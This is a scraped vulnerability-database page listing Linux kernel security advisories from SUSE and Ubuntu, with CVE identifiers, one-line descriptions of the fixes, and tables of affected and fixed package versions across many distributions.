  • CVE-2024-36968: Bluetooth: L2CAP: Fix div-by-zero in l2cap_le_flowctl_init() (bsc#1226130).
  • CVE-2024-38589: netrom: fix possible dead-lock in nr_rt_ioctl() (bsc#1226748).
  • CVE-2024-40914: mm/huge_memory: do not unpoison huge_zero_folio (bsc#1227842).
  • CVE-2024-41023: sched/deadline: Fix task_struct reference leak (bsc#1228430).
  • CVE-2024-41031: mm/filemap: skip to create PMD-sized page cache if needed (bsc#1228454).
  • CVE-2024-41082: nvme-fabrics: use reserved tag for reg read/write command (bsc#1228620).
  • CVE-2024-42102: Revert "mm/writeback: fix possible divide-by-zero in wb_dirty_limits(), again" (bsc#1233132).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-44995: net: hns3: fix a deadlock problem when config TC during resetting (bsc#1230231).
  • CVE-2024-45016: netem: fix return value if duplicate enqueue fails (bsc#1230429).
  • CVE-2024-45025: fix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE (bsc#1230456).
  • CVE-2024-46678: bonding: change ipsec_lock from spin lock to mutex (bsc#1230550).
  • CVE-2024-46680: Bluetooth: btnxpuart: Fix random crash seen while removing driver (bsc#1230557).
  • CVE-2024-46681: pktgen: use cpus_read_lock() in pg_net_init() (bsc#1230558).
  • CVE-2024-46721: pparmor: fix possible NULL pointer dereference (bsc#1230710)
  • CVE-2024-46754: bpf: Remove tst_run from lwt_seg6local_prog_ops (bsc#1230801).
  • CVE-2024-46765: ice: protect XDP configuration with a mutex (bsc#1230807).
  • CVE-2024-46766: ice: move netif_queue_set_napi to rtnl-protected sections (bsc#1230762).
  • CVE-2024-46770: ice: Add netif_device_attach/detach into PF reset flow (bsc#1230763).
  • CVE-2024-46775: drm/amd/display: Validate function returns (bsc#1230774).
  • CVE-2024-46777: udf: Avoid excessive partition lengths (bsc#1230773).
  • CVE-2024-46800: sch/netem: fix use after free in netem_dequeue (bsc#1230827).
  • CVE-2024-46813: drm/amd/display: Check link_index before accessing dc->links (bsc#1231191).
  • CVE-2024-46816: drm/amd/display: Stop amdgpu_dm initialize when link nums greater than max_links (bsc#1231197).
  • CVE-2024-46826: ELF: fix kernel.randomize_va_space double read (bsc#1231115).
  • CVE-2024-46831: net: microchip: vcap: Fix use-after-free error in kunit test (bsc#1231117).
  • CVE-2024-46834: ethtool: fail closed if we can't get max channel used in indirection tables (bsc#1231096).
  • CVE-2024-46840: btrfs: clean up our handling of refs == 0 in snapshot delete (bsc#1231105).
  • CVE-2024-46841: btrfs:…
Record
SUSE-SU-2025:20246-1
Updated
2026-11-02
OSVSUSE-SU-2025:20247-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise Micro 6.0 and 6.1 kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2023-52778: mptcp: deal with large GSO size (bsc#1224948).
  • CVE-2023-52920: bpf: support non-r10 register spill/fill to/from stack in precision tracking (bsc#1232823).
  • CVE-2024-26596: net: dsa: fix netdev_priv() dereference before check on non-DSA netdevice events (bsc#1220355).
  • CVE-2024-26741: dccp/tcp: Unhash sk from ehash for tb2 alloc failure after check_estalblished() (bsc#1222587).
  • CVE-2024-26782: mptcp: fix double-free on socket dismantle (bsc#1222590).
  • CVE-2024-26953: net: esp: fix bad handling of pages from page_pool (bsc#1223656).
  • CVE-2024-27017: netfilter: nft_set_pipapo: walk over current view on netlink dump (bsc#1223733).
  • CVE-2024-35888: erspan: make sure erspan_base_hdr is present in skb->head (bsc#1224518).
  • CVE-2024-36000: mm/hugetlb: fix missing hugetlb_lock for resv uncharge (bsc#1224548).
  • CVE-2024-36244: net/sched: taprio: extend minimum interval restriction to entire cycle too (bsc#1226797).
  • CVE-2024-36883: net: fix out-of-bounds access in ops_init (bsc#1225725).
  • CVE-2024-36886: tipc: fix UAF in error path (bsc#1225730).
  • CVE-2024-36905: tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets (bsc#1225742).
  • CVE-2024-36927: ipv4: Fix uninit-value access in __ip_make_skb() (bsc#1225813).
  • CVE-2024-36954: tipc: fix a possible memleak in tipc_buf_append (bsc#1225764).
  • CVE-2024-36968: Bluetooth: L2CAP: Fix div-by-zero in l2cap_le_flowctl_init() (bsc#1226130).
  • CVE-2024-38589: netrom: fix possible dead-lock in nr_rt_ioctl() (bsc#1226748).
  • CVE-2024-40914: mm/huge_memory: do not unpoison huge_zero_folio (bsc#1227842).
  • CVE-2024-41023: sched/deadline: Fix task_struct reference leak (bsc#1228430).
  • CVE-2024-41031: mm/filemap: skip to create PMD-sized page cache if needed (bsc#1228454).
  • CVE-2024-41082: nvme-fabrics: use reserved tag for reg read/write command (bsc#1228620).
  • CVE-2024-42102: Revert "mm/writeback: fix possible divide-by-zero in wb_dirty_limits(), again" (bsc#1233132).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-44995: net: hns3: fix a deadlock problem when config TC during resetting (bsc#1230231).
  • CVE-2024-45016: netem: fix return value if duplicate enqueue fails (bsc#1230429).
  • CVE-2024-45025: fix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE (bsc#1230456).
  • CVE-2024-46678: bonding: change ipsec_lock from spin lock to mutex (bsc#1230550).
  • CVE-2024-46680: Bluetooth: btnxpuart: Fix random crash seen while removing driver (bsc#1230557).
  • CVE-2024-46681: pktgen: use cpus_read_lock() in pg_net_init() (bsc#1230558).
  • CVE-2024-46721: pparmor: fix possible NULL pointer dereference (bsc#1230710)
  • CVE-2024-46754: bpf: Remove tst_run from lwt_seg6local_prog_ops (bsc#1230801).
  • CVE-2024-46765: ice: protect XDP configuration with a mutex (bsc#1230807).
  • CVE-2024-46766: ice: move netif_queue_set_napi to rtnl-protected sections (bsc#1230762).
  • CVE-2024-46770: ice: Add netif_device_attach/detach into PF reset flow (bsc#1230763).
  • CVE-2024-46775: drm/amd/display: Validate function returns (bsc#1230774).
  • CVE-2024-46777: udf: Avoid excessive partition lengths (bsc#1230773).
  • CVE-2024-46800: sch/netem: fix use after free in netem_dequeue (bsc#1230827).
  • CVE-2024-46813: drm/amd/display: Check link_index before accessing dc->links (bsc#1231191).
  • CVE-2024-46816: drm/amd/display: Stop amdgpu_dm initialize when link nums greater than max_links (bsc#1231197).
  • CVE-2024-46826: ELF: fix kernel.randomize_va_space double read (bsc#1231115).
  • CVE-2024-46831: net: microchip: vcap: Fix use-after-free error in kunit test (bsc#1231117).
  • CVE-2024-46834: ethtool: fail closed if we can't get max channel used in indirection tables (bsc#1231096).
  • CVE-2024-46840: btrfs: clean up our handling of refs == 0 in snapshot delete (bsc#1231105).
  • CVE-2024-46841: btrfs: do…
Record
SUSE-SU-2025:20247-1
Updated
2026-11-02
OSVUSN-7301-1 No score

linux, linux-lowlatency, linux-lowlatency-hwe-6.8 vulnerabilities

Attila Szász discovered that the HFS+ file system implementation in the Linux Kernel contained a heap overflow vulnerability. An attacker could use a specially crafted file system image that, when mounted, could cause a denial of service (system crash) or possibly execute arbitrary code. (CVE-2025-0927)

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems:

  • ARM32 architecture;
  • x86 architecture;
  • Block layer subsystem;
  • Cryptographic API;
  • ACPI drivers;
  • Drivers core;
  • ATA over ethernet (AOE) driver;
  • Network block device driver;
  • TPM device driver;
  • Hardware crypto device drivers;
  • ARM SCMI message protocol;
  • EFI core;
  • GPU drivers;
  • I2C subsystem;
  • I3C subsystem;
  • InfiniBand drivers;
  • Input Device core drivers;
  • IOMMU subsystem;
  • Mailbox framework;
  • Media drivers;
  • Ethernet bonding driver;
  • Network drivers;
  • Mellanox network drivers;
  • STMicroelectronics network drivers;
  • NTB driver;
  • PCI subsystem;
  • Alibaba DDR Sub-System Driveway PMU driver;
  • x86 platform drivers;
  • Powercap sysfs driver;
  • Remote Processor subsystem;
  • SCSI subsystem;
  • USB Device Class drivers;
  • vDPA drivers;
  • Virtio Host (VHOST) subsystem;
  • Framebuffer layer;
  • AFS file system;
  • BTRFS file system;
  • File systems infrastructure;
  • Ceph distributed file system;
  • Ext4 file system;
  • F2FS file system;
  • JFS file system;
  • Network file systems library;
  • Network file system (NFS) server daemon;
  • NILFS2 file system;
  • SMB network file system;
  • BPF subsystem;
  • Virtio network driver;
  • TCP network protocol;
  • Perf events;
  • Padata parallel execution mechanism;
  • RCU subsystem;
  • Arbitrary resource management;
  • Static call mechanism;
  • Tracing infrastructure;
  • Memory management;
  • Bluetooth subsystem;
  • CAN network layer;
  • Networking core;
  • Distributed Switch Architecture;
  • IPv4 networking;
  • IPv6 networking;
  • MAC80211 subsystem;
  • IEEE 802.15.4 subsystem;
  • NCSI (Network Controller Sideband Interface) driver;
  • RxRPC session sockets;
  • SCTP protocol;
  • TIPC protocol;
  • Wireless networking;
  • AudioScience HPI driver;
  • KVM core; (CVE-2024-47748, CVE-2024-49935, CVE-2024-49892, CVE-2024-49960, CVE-2024-49886, CVE-2024-47757, CVE-2024-47741, CVE-2024-49879, CVE-2024-49983, CVE-2024-47687, CVE-2024-49948, CVE-2024-49902, CVE-2024-49969, CVE-2024-49903, CVE-2024-47675, CVE-2024-47713, CVE-2024-47750, CVE-2024-49951, CVE-2024-49936, CVE-2024-49913, CVE-2024-47684, CVE-2024-49917, CVE-2024-47693, CVE-2024-49871, CVE-2024-47740, CVE-2024-49927, CVE-2024-47698, CVE-2024-49996, CVE-2024-47682, CVE-2024-49889, CVE-2024-49888, CVE-2024-47737, CVE-2024-49881, CVE-2023-52917, CVE-2024-47695, CVE-2024-50015, CVE-2024-49965, CVE-2024-50179, CVE-2024-47677, CVE-2024-50013, CVE-2024-49855, CVE-2024-47751, CVE-2024-49895, CVE-2024-49930, CVE-2024-49905, CVE-2024-47709, CVE-2024-49953, CVE-2024-49896, CVE-2024-47688, CVE-2024-47712, CVE-2024-49907, CVE-2024-49955, CVE-2024-49933, CVE-2024-49880, CVE-2024-49860, CVE-2024-50176, CVE-2024-47727, CVE-2024-47673, CVE-2024-49878, CVE-2024-49862, CVE-2024-49911, CVE-2024-47734, CVE-2024-49995, CVE-2024-49924, CVE-2024-49925, CVE-2024-47749, CVE-2024-49945, CVE-2024-49950, CVE-2024-49891, CVE-2024-49915, CVE-2024-50006, CVE-2024-49962, CVE-2024-49952, CVE-2024-49982, CVE-2024-49939, CVE-2024-49985, CVE-2024-49928, CVE-2024-47692, CVE-2024-49884, CVE-2024-47756, CVE-2024-49918, CVE-2024-49976, CVE-2024-47671, CVE-2024-49859, CVE-2024-47705, CVE-2024-49864, CVE-2024-47733, CVE-2024-49961, CVE-2024-49973, CVE-2024-49989, CVE-2024-47719, CVE-2024-47685, CVE-2024-49988, CVE-2024-49975, CVE-2024-47681, CVE-2024-49944, CVE-2024-47718, CVE-2024-47689, CVE-2024-50008, CVE-2024-49959, CVE-2024-49868, CVE-2024-47743, CVE-2024-49885,…
Record
USN-7301-1
Updated
2026-11-02
OSVUSN-7303-1 No score

linux-nvidia, linux-nvidia-6.8, linux-nvidia-lowlatency vulnerabilities

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems:

  • ARM32 architecture;
  • x86 architecture;
  • Block layer subsystem;
  • Cryptographic API;
  • ACPI drivers;
  • Drivers core;
  • ATA over ethernet (AOE) driver;
  • Network block device driver;
  • TPM device driver;
  • Hardware crypto device drivers;
  • ARM SCMI message protocol;
  • EFI core;
  • GPU drivers;
  • I2C subsystem;
  • I3C subsystem;
  • InfiniBand drivers;
  • Input Device core drivers;
  • IOMMU subsystem;
  • Mailbox framework;
  • Media drivers;
  • Ethernet bonding driver;
  • Network drivers;
  • Mellanox network drivers;
  • STMicroelectronics network drivers;
  • NTB driver;
  • PCI subsystem;
  • Alibaba DDR Sub-System Driveway PMU driver;
  • x86 platform drivers;
  • Powercap sysfs driver;
  • Remote Processor subsystem;
  • SCSI subsystem;
  • USB Device Class drivers;
  • vDPA drivers;
  • Virtio Host (VHOST) subsystem;
  • Framebuffer layer;
  • AFS file system;
  • BTRFS file system;
  • File systems infrastructure;
  • Ceph distributed file system;
  • Ext4 file system;
  • F2FS file system;
  • JFS file system;
  • Network file systems library;
  • Network file system (NFS) server daemon;
  • NILFS2 file system;
  • SMB network file system;
  • BPF subsystem;
  • Virtio network driver;
  • TCP network protocol;
  • Perf events;
  • Padata parallel execution mechanism;
  • RCU subsystem;
  • Arbitrary resource management;
  • Static call mechanism;
  • Tracing infrastructure;
  • Memory management;
  • Bluetooth subsystem;
  • CAN network layer;
  • Networking core;
  • Distributed Switch Architecture;
  • IPv4 networking;
  • IPv6 networking;
  • MAC80211 subsystem;
  • IEEE 802.15.4 subsystem;
  • NCSI (Network Controller Sideband Interface) driver;
  • RxRPC session sockets;
  • SCTP protocol;
  • TIPC protocol;
  • Wireless networking;
  • AudioScience HPI driver;
  • KVM core; (CVE-2024-49852, CVE-2024-50175, CVE-2024-47709, CVE-2024-47671, CVE-2024-50179, CVE-2024-47743, CVE-2024-47687, CVE-2024-49934, CVE-2024-47700, CVE-2024-49892, CVE-2024-49866, CVE-2024-50012, CVE-2024-49860, CVE-2024-49948, CVE-2024-49882, CVE-2024-47744, CVE-2024-49905, CVE-2024-47728, CVE-2024-49874, CVE-2024-47678, CVE-2024-47688, CVE-2024-47737, CVE-2024-49859, CVE-2024-49947, CVE-2024-49994, CVE-2024-49986, CVE-2024-49917, CVE-2024-50000, CVE-2024-49962, CVE-2024-47733, CVE-2024-47741, CVE-2024-47685, CVE-2024-47752, CVE-2024-49960, CVE-2024-47754, CVE-2024-47675, CVE-2024-49958, CVE-2024-47748, CVE-2024-47679, CVE-2024-47690, CVE-2024-47740, CVE-2024-47672, CVE-2024-49883, CVE-2024-49928, CVE-2024-49961, CVE-2024-47677, CVE-2024-47706, CVE-2024-49955, CVE-2024-49907, CVE-2024-47745, CVE-2024-49963, CVE-2024-47723, CVE-2024-49897, CVE-2024-49927, CVE-2024-50008, CVE-2024-47713, CVE-2024-49894, CVE-2024-49903, CVE-2024-47747, CVE-2024-47705, CVE-2024-49976, CVE-2024-53144, CVE-2024-49983, CVE-2024-49937, CVE-2024-49953, CVE-2024-41016, CVE-2024-49969, CVE-2024-49982, CVE-2024-50007, CVE-2024-50015, CVE-2024-49889, CVE-2024-49923, CVE-2024-49850, CVE-2024-47720, CVE-2024-49973, CVE-2024-49991, CVE-2024-49901, CVE-2024-49881, CVE-2024-49911, CVE-2024-47710, CVE-2024-49981, CVE-2024-49918, CVE-2024-49861, CVE-2024-49959, CVE-2024-50005, CVE-2024-47701, CVE-2024-49855, CVE-2024-49987, CVE-2024-47704, CVE-2024-49977, CVE-2024-47670, CVE-2024-47707, CVE-2024-47735, CVE-2024-49996, CVE-2024-49868, CVE-2024-47749, CVE-2024-49985, CVE-2024-47753, CVE-2024-49877, CVE-2024-47716, CVE-2024-47731, CVE-2024-49880, CVE-2024-47715, CVE-2024-49931, CVE-2024-49856, CVE-2024-49929, CVE-2024-47689, CVE-2024-49885, CVE-2024-50002, CVE-2024-49999, CVE-2024-47734, CVE-2024-49909, CVE-2024-49871, CVE-2024-49915, CVE-2024-50013, CVE-2024-47682, CVE-2024-49864, CVE-2024-49949, CVE-2024-49933, CVE-2024-49975, CVE-2024-49863, CVE-2024-49867,…
Record
USN-7303-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
kernel
Azure Linux:2
 through 5.15.200.1-1 None known
kernel
Azure Linux:3
 before 6.6.56.1-5
6.6.56.1-5
linux-lts
Alpaquita:23
 6.1.119-r0 up to 6.1.120-r0
6.1.120-r0
linux-lts
Alpaquita:25
 6.6.89-r0 up to 6.12.41-r0
6.12.41-r0
linux-lts
Alpaquita:stream
 6.6.100-r0 up to 6.12.41-r0
6.12.41-r0
bpftool
TuxCare:CentOS:7
From an advisory covering 18 CVEs
 before 3.10.0-1160.119.1.el7.tuxcare.els12
3.10.0-1160.119.1.el7.tuxcare.els12
kernel
TuxCare:CentOS:7
From an advisory covering 18 CVEs
 before 3.10.0-1160.119.1.el7.tuxcare.els12
3.10.0-1160.119.1.el7.tuxcare.els12
kernel-debug
TuxCare:CentOS:7
From an advisory covering 18 CVEs
 before 3.10.0-1160.119.1.el7.tuxcare.els12
3.10.0-1160.119.1.el7.tuxcare.els12
kernel-debug-devel
TuxCare:CentOS:7
From an advisory covering 18 CVEs
 before 3.10.0-1160.119.1.el7.tuxcare.els12
3.10.0-1160.119.1.el7.tuxcare.els12
kernel-devel
TuxCare:CentOS:7
From an advisory covering 18 CVEs
 before 3.10.0-1160.119.1.el7.tuxcare.els12
3.10.0-1160.119.1.el7.tuxcare.els12
Show 290 moreShow less
Affected packages
PackageAffectedFixed
kernel-headers
TuxCare:CentOS:7
From an advisory covering 18 CVEs
 before 3.10.0-1160.119.1.el7.tuxcare.els12
3.10.0-1160.119.1.el7.tuxcare.els12
kernel-tools
TuxCare:CentOS:7
From an advisory covering 18 CVEs
 before 3.10.0-1160.119.1.el7.tuxcare.els12
3.10.0-1160.119.1.el7.tuxcare.els12
kernel-tools-libs
TuxCare:CentOS:7
From an advisory covering 18 CVEs
 before 3.10.0-1160.119.1.el7.tuxcare.els12
3.10.0-1160.119.1.el7.tuxcare.els12
kernel-tools-libs-devel
TuxCare:CentOS:7
From an advisory covering 18 CVEs
 before 3.10.0-1160.119.1.el7.tuxcare.els12
3.10.0-1160.119.1.el7.tuxcare.els12
perf
TuxCare:CentOS:7
From an advisory covering 18 CVEs
 before 3.10.0-1160.119.1.el7.tuxcare.els12
3.10.0-1160.119.1.el7.tuxcare.els12
python-perf
TuxCare:CentOS:7
From an advisory covering 18 CVEs
 before 3.10.0-1160.119.1.el7.tuxcare.els12
3.10.0-1160.119.1.el7.tuxcare.els12
bpftool
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-core
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-cross-headers
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-debug
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-debug-core
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-debug-devel
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-debug-modules
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-debug-modules-extra
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-debug-modules-internal
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-devel
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-headers
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-ipaclones-internal
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-modules
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-modules-extra
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-modules-internal
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-selftests-internal
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-tools
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-tools-libs
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
kernel-tools-libs-devel
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
perf
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
python3-perf
TuxCare:CentOS:8.4
From an advisory covering 31 CVEs
 before 4.18.0-305.25.1.el8_4.tuxcare.els22
4.18.0-305.25.1.el8_4.tuxcare.els22
bpftool
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-core
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-cross-headers
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-debug
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-debug-core
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-debug-devel
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-debug-modules
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-debug-modules-extra
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-debug-modules-internal
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-devel
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-headers
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-ipaclones-internal
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-modules
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-modules-extra
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-modules-internal
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-selftests-internal
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-tools
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-tools-libs
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
kernel-tools-libs-devel
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
perf
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
python3-perf
TuxCare:CentOS:8.5
From an advisory covering 31 CVEs
 before 4.18.0-348.7.1.el8_5.tuxcare.els22
4.18.0-348.7.1.el8_5.tuxcare.els22
bpftool
TuxCare:CentOS-Stream:8
From an advisory covering 30 CVEs
 before 4.18.0-553.6.1.el8_10.tuxcare.els5
4.18.0-553.6.1.el8_10.tuxcare.els5
kernel
TuxCare:CentOS-Stream:8
From an advisory covering 30 CVEs
 before 4.18.0-553.6.1.el8_10.tuxcare.els5
4.18.0-553.6.1.el8_10.tuxcare.els5
kernel-core
TuxCare:CentOS-Stream:8
From an advisory covering 30 CVEs
 before 4.18.0-553.6.1.el8_10.tuxcare.els5
4.18.0-553.6.1.el8_10.tuxcare.els5
kernel-cross-headers
TuxCare:CentOS-Stream:8
From an advisory covering 30 CVEs
 before 4.18.0-553.6.1.el8_10.tuxcare.els5
4.18.0-553.6.1.el8_10.tuxcare.els5
kernel-debug
TuxCare:CentOS-Stream:8
From an advisory covering 30 CVEs
 before 4.18.0-553.6.1.el8_10.tuxcare.els5
4.18.0-553.6.1.el8_10.tuxcare.els5
Kernel
Linux
 4.0.0 up to 6.1.120, 6.2.0 up to 6.6.54, 6.7.0 up to 6.10.13, 6.11.0 up to 6.11.2
6.1.1206.6.546.10.136.11.2
linux
Debian:12
 before 6.1.123-1, plus listed versions
6.1.106-16.1.106-26.1.106-36.1.112-16.1.115-1
Show 27 moreShow less
6.1.119-16.1.27-16.1.37-16.1.38-16.1.38-26.1.38-2~bpo11+16.1.38-36.1.38-46.1.38-4~bpo11+16.1.52-16.1.55-16.1.55-1~bpo11+16.1.64-16.1.66-16.1.67-16.1.69-16.1.69-1~bpo11+16.1.76-16.1.76-1~bpo11+16.1.82-16.1.85-16.1.90-16.1.90-1~bpo11+16.1.94-16.1.94-1~bpo11+16.1.98-16.1.99-1
6.1.123-1
linux
Debian:13
 before 6.11.2-1
6.11.2-1
linux
Debian:14
 before 6.11.2-1
6.11.2-1
linux-6.1
Debian:11
From an advisory covering 333 CVEs
 before 6.1.128-1~deb11u1, plus listed versions
6.1.106-3~deb11u16.1.106-3~deb11u26.1.106-3~deb11u36.1.112-1~deb11u16.1.119-1~deb11u1
6.1.128-1~deb11u1
kernel-linus
Mageia:9
From an advisory covering 210 CVEs
 before 6.6.58-2.mga9
6.6.58-2.mga9
kernel
Mageia:9
From an advisory covering 210 CVEs
 before 6.6.58-2.mga9
6.6.58-2.mga9
kmod-xtables-addons
Mageia:9
From an advisory covering 210 CVEs
 before 3.24-65.mga9
3.24-65.mga9
kmod-virtualbox
Mageia:9
From an advisory covering 210 CVEs
 before 7.0.20-57.mga9
7.0.20-57.mga9
kernel-firmware
Mageia:9
From an advisory covering 210 CVEs
 before 20240909-1.mga9
20240909-1.mga9
kernel-firmware-nonfree
Mageia:9
From an advisory covering 210 CVEs
 before 20240909-1.mga9.nonfree
20240909-1.mga9.nonfree
radeon-firmware
Mageia:9
From an advisory covering 210 CVEs
 before 20240909-1.mga9.nonfree
20240909-1.mga9.nonfree
kernel
openEuler:20.03-LTS-SP4
From an advisory covering 5 CVEs
 before 4.19.90-2411.4.0.0304.oe2003sp4
4.19.90-2411.4.0.0304.oe2003sp4
kernel
openEuler:22.03-LTS-SP1
From an advisory covering 37 CVEs
 before 5.10.0-136.103.0.184.oe2203sp1
5.10.0-136.103.0.184.oe2203sp1
kernel
openEuler:24.03-LTS
From an advisory covering 79 CVEs
 before 6.6.0-57.0.0.59.oe2403
6.6.0-57.0.0.59.oe2403
kernel
openEuler:22.03-LTS-SP4
From an advisory covering 34 CVEs
 before 5.10.0-238.0.0.137.oe2203sp4
5.10.0-238.0.0.137.oe2203sp4
kernel
openEuler:22.03-LTS-SP3
From an advisory covering 35 CVEs
 before 5.10.0-238.0.0.140.oe2203sp3
5.10.0-238.0.0.140.oe2203sp3
bpftool-debuginfo
